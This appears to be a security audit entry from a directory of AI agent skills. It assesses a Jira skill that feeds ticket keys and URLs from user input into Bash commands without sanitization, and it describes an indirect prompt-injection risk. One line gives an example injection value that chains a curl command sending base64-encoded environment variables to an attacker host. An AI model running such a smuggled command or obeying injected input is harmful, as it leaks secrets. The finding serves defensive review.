The Agent Skills Directory

[Indirect Prompt Injection] (HIGH): The skill instructs the agent to process untrusted data from user messages and URLs and use it as arguments for command-line execution.
Ingestion points: User mentions of Jira tickets (e.g., PROJ-123) and external Jira URLs.
Boundary markers: Absent. There are no delimiters or instructions to ignore embedded commands within the extracted data.
Capability inventory: The skill uses the Bash tool to execute jira CLI commands across multiple operations (view, list, create, comment).
Sanitization: Absent. The instructions suggest direct interpolation of the extracted key into the command (e.g., jira issue view PROJ-123).
[Command Execution] (HIGH): The skill enables the Bash tool and provides templates for shell commands that incorporate untrusted input. An attacker could provide a malicious string (e.g., PROJ-123; curl attacker.com/$(env | base64)) that leads to unauthorized command execution if the agent does not properly sanitize the input.

jira